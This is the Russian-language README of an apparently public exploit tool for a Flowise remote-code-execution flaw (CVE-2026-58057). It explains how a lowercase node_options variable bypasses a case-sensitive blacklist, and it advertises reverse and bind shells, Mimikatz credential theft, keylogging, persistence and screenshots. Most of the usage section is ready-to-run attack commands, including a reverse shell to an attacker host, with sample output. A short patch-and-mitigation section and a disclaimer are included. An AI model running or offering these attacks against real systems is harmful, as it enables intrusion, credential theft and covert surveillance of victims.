Flowise CVE-2026-58057 - Эксплойт удаленного выполнения кода на Windows

📋 Обзор

Это эксплойт производственного уровня для CVE-2026-58057 — критической уязвимости удаленного выполнения кода (RCE) в Flowise на платформе Windows. Уязвимость возникает из-за проверки переменных окружения с учетом регистра, которая не блокирует нижний регистр node_options, что позволяет злоумышленникам обойти черный список NODE_OPTIONS и выполнить произвольный код через конфигурацию Custom MCP stdio.

Эксплойт демонстрирует профессиональные инженерные практики: модульную архитектуру, всестороннюю обработку ошибок и поддержку нескольких типов полезных нагрузок.

⚠️ Отказ от ответственности

ВАЖНО: Этот инструмент предоставляется только для авторизованного тестирования безопасности, пентеста и образовательных целей. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный данным программным обеспечением. Всегда получайте надлежащее разрешение перед тестированием любой системы.

🔍 Технические детали

Первопричина уязвимости

# Уязвимая проверка (с учетом регистра)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Блокируется только точное совпадение в верхнем регистре
    raise ValueError(f"Modification not allowed")

Механизм эксплуатации

1. Злоумышленник аутентифицируется в Flowise

2. Создаёт/изменяет узел Custom MCP stdio

3. Внедряет переменную окружения node_options в нижнем регистре

4. Устанавливает значение --require malicious-loader.js

5. Node.js выполняет загрузчик при запуске MCP stdio

6. Достигается произвольное выполнение кода

✨ Возможности

Основные возможности

• ✅ Reverse Shell — обратное подключение к машине атакующего

• ✅ Bind Shell — открытие порта прослушивания на цели

• ✅ Выполнение команд — запуск произвольных системных команд

• ✅ Загрузка файлов — загрузка файлов в целевую систему

• ✅ Сохранение доступа — несколько механизмов персистентности

• ✅ Сбор информации — сбор данных о системе

• ✅ Извлечение учётных данных — интеграция с Mimikatz

• ✅ Захват скриншотов — снятие скриншотов рабочего стола

• ✅ Кейлоггер — установка возможности записи нажатий клавиш

Технические особенности

• 🔐 Несколько методов аутентификации — API-ключ или имя пользователя/пароль

• 🔄 Автоматическая логика повтора — устойчивость к сетевым проблемам

• 🧹 Самоочистка — удаление файлов загрузчика с цели

• 🌐 Кроссплатформенность — работает на Windows/Linux/macOS

• 🎨 Цветной вывод — улучшенная читаемость

• 📊 Подробная отладка — детальное логирование для устранения неполадок

📦 Установка

Предварительные требования

• Python 3.6 или выше

• pip (менеджер пакетов Python)

Быстрая установка

# Клонируйте репозиторий
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Установите зависимости
pip install -r requirements.txt

# Или минимальная установка
pip install requests urllib3

Установка через Docker (опционально)

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

🚀 Использование

Параметры командной строки

python3 exploit.py --help

Параметры аутентификации

Параметры полезной нагрузки

Параметры выполнения

📝 Примеры использования

1. Базовый Reverse Shell

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

2. Интерактивный Reverse Shell

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

3. Выполнение команды

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

4. Загрузка файла

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

5. Извлечение учётных данных (Mimikatz)

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

6. Установка персистентности

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

7. Сбор информации

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

8. Захват скриншота

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot

🎯 Типы полезных нагрузок

🛡️ Меры защиты

Обновление Flowise

# Обновите до версии 3.1.3 или новее
npm install -g flowise@latest
# или
docker pull flowiseai/flowise:latest

Обходные меры

• Ограничьте доступ к конфигурации Custom MCP

• Внедрите сегментацию сети

• Отслеживайте подозрительные переменные окружения

• Используйте Web Application Firewall (WAF)

Исправленный код

# Исправленная проверка (без учета регистра)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # Проверка без учета регистра
    raise ValueError(f"Modification not allowed")

📊 Примеры вывода

Успешный эксплойт

[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444

Подробный режим

[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated

🐛 Устранение неполадок

Частые проблемы

Отладочные команды

# Включить подробное логирование
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# Проверить подключение
curl -k https://localhost:3000/api/v1/version

# Проверить версию Python
python3 --version

📁 Структура файлов

flowise-CVE-2026-58057-exploit/
├── exploit.py          # Основной скрипт эксплойта
├── requirements.txt    # Основные зависимости
├── README.md          # Эта документация
├── LICENSE            # Лицензия MIT
└── CHANGELOG.md       # История версий

🤝 Вклад в проект

1. Сделайте форк репозитория

2. Создайте ветку для функции (git checkout -b feature/amazing)

3. Зафиксируйте изменения (git commit -m 'Add amazing feature')

4. Отправьте в ветку (git push origin feature/amazing)

5. Откройте Pull Request

📜 Лицензия

Этот проект лицензирован по лицензии MIT — см. файл LICENSE для подробностей.

🏆 Благодарности

• FlowiseAI за продукт

• Исследователям безопасности, обнаружившим подобные уязвимости

• Сообществу пентестеров за методологии тестирования

🔗 Ссылки

• CVE-2026-58057

• Репозиторий Flowise на GitHub

• Документация Flowise

• Безопасность переменных окружения Node.js

📧 Контакты

Автор: Sudeepa Wanigarathna Исследователь безопасности и пентестер

⭐ Поддержка

Если вы нашли этот инструмент полезным, пожалуйста, рассмотрите:

• ⭐ Оценить репозиторий на GitHub

• 🔔 Подписаться на обновления

• 📝 Сообщить об ошибках или предложениях

Сделано с ❤️ для сообщества безопасности